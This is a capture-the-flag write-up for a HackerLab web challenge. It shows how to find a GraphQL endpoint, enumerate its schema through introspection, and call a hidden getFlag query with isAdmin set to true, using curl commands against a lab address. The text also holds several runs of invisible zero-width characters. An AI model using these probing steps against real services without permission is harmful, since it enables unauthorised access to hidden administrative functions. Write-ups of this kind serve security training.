← Back to Writeups
CUSTOMEasyWeb

Просто найди его

XESXOR9/10/20262 min read
#web#custom#easy#graphql_introspection#hidden_query_discovery#schema_enumeration#linux

Просто найди его

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-02 | Status: Solved Techniques: graphql_introspection, hidden_query_discovery, schema_enumeration

Summary

Task: Flask app with GraphQL API where hidden queries exist beyond what the UI exposes. Solution: discover /graphql endpoint from client JS, use introspection to enumerate schema, find hidden getFlag query, call it with isAdmin: true.

Просто найди его — HackerLab

Description

Иногда приложение говорит больше, чем кажется на первый взгляд. Посмотрите внимательнее, как клиент общается с сервером, и найдите то, что разработчики не вынесли в интерфейс.

IP: 62.173.140.174:16121

English summary: A Flask web application ("Напутствие на день" — Daily advice) uses a GraphQL API. The frontend only calls one query (advice), but the schema contains a hidden getFlag query that developers didn't expose in the interface. The goal is to discover and call this hidden query. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

  1. The web app at http://62.173.140.174:16121/ is a Flask/Werkzeug (3.1.8, Python 3.9.25) application with a simple UI — a button that fetches random advice.

  2. Examining the page source reveals JavaScript that sends POST requests to /graphql:

javascript
const query = `query { advice(number: ${randomNumber}) }`;
fetch('/graphql', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({ query })
});
  1. The key insight: if there's a GraphQL endpoint, we can use introspection to discover the full schema, including queries not used by the frontend. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm GraphQL endpoint

bash
curl -s http://62.173.140.174:16121/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ advice(number: 1) }"}'

Returns a random advice string — confirms the endpoint works.

Step 2: Introspection — enumerate the full schema

bash
curl -s http://62.173.140.174:16121/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ __schema { queryType { name } types { name kind fields { name type { name kind ofType { name kind } } args { name type { name kind } } } } } }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response reveals the Query type has two fields:

  • advice(number: Int) → String (used by the UI)
  • getFlag(isAdmin: Boolean!) → String (hidden from the UI)

Step 3: Call the hidden query

First attempt without arguments:

bash
curl -s http://62.173.140.174:16121/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ getFlag }"}'

Error: Field "getFlag" argument "isAdmin" of type "Boolean!" is required but not provided.

Step 4: Provide the required argument

bash
curl -s http://62.173.140.174:16121/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ getFlag(isAdmin: true) }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"data": {"getFlag": "CODEBY{REDACTED}"}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍